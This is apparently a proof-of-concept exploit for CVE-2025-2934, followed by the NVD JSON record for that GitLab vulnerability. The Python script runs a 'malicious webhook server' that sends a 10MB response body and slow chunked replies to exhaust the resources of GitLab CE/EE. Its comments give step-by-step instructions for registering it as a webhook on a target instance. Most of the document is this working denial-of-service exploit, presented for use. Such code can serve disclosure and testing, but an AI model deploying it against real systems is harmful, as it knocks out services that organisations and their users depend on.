CVE-2025-2934

# CVE-2025-2934 PoC - GitLab Webhook DoS via Malicious HTTP Response # This PoC demonstrates the concept of exploiting malicious webhook endpoints # to cause denial of service on GitLab CE/EE instances. import http.server import socketserver import threading import time class MaliciousWebhookHandler(http.server.BaseHTTPRequestHandler): """ Malicious webhook server that sends crafted HTTP responses to trigger DoS condition on the target GitLab instance. """ def do_POST(self): # Read the incoming webhook payload from GitLab content_length = int(self.headers.get('Content-Length', 0)) payload = self.rfile.read(content_length) print(f"[*] Received webhook payload: {len(payload)} bytes") # Technique 1: Send oversized response body to exhaust memory self.send_response(200) self.send_header('Content-Type', 'application/json') # Send a very large response (10MB of data) large_body = b'{"data":"' + b'A' * (10 * 1024 * 1024) + b'"}' self.send_header('Content-Length', str(len(large_body))) self.end_headers() self.wfile.write(large_body) def do_GET(self): # Technique 2: Slow response to hold connections self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Transfer-Encoding', 'chunked') self.end_headers() # Send data very slowly to keep connections alive for i in range(1000): chunk = f"{len(str(i)):x}\r\n{i}\r\n".encode() self.wfile.write(chunk) self.wfile.flush() time.sleep(2) # 2 seconds between chunks def log_message(self, format, *args): # Suppress default logging pass def start_malicious_server(port=8888): """Start the malicious webhook server""" with socketserver.TCPServer(("0.0.0.0", port), MaliciousWebhookHandler) as httpd: print(f"[*] Malicious webhook server listening on port {port}") httpd.serve_forever() if __name__ == "__main__": # Steps to exploit CVE-2025-2934: # 1. Deploy this malicious server on an attacker-controlled host # 2. Login to the target GitLab instance with any authenticated account # 3. Navigate to Project Settings > Webhooks # 4. Add a new webhook pointing to http://attacker-server:8888 # 5. Select events to trigger (e.g., Push events, Merge request events) # 6. Perform actions that trigger webhook events repeatedly # 7. GitLab will send requests to the malicious server, which responds # with crafted responses causing resource exhaustion start_malicious_server()

{"cve": {"id": "CVE-2025-2934", "sourceIdentifier": "[email protected]", "published": "2025-10-09T12:15:35.477", "lastModified": "2025-10-20T21:01:34.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 5.2 prior to 18.2.8, 18.3 prior to 18.3.4, and 18.4 prior to 18.4.2 that could have allowed an authenticated attacker to create a denial of service condition by configuring malicious webhook endpoints that send crafted HTTP responses."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "18.2.8", "matchCriteriaId": "EE108845-3479-4BAE-AD0E-C6C04E77CF96"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "18.2.8", "matchCriteriaId": "7108DAFA-241C-4361-981F-27A33F59A9AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.3.0", "versionEndExcluding": "18.3.4", "matchCriteriaId": "536C1DFE-B81E-4E5E-A979-EBB8AEB62F4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.3.0", "versionEndExcluding": "18.3.4", "matchCriteriaId": "15A762DA-E645-404C-B831-A63171FF3EF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.2", "matchCriteriaId": "A0684F06-FCCA-400A-AB87-BB9B9F906187"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.2", "matchCriteriaId": "719CBD84-A5F7-4332-8C37-D68474A2FB70"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/08/patch-release-gitlab-18-4-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/528979", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3058791", "source": "[email protected]", "tags": ["Permissions Required"]}]}}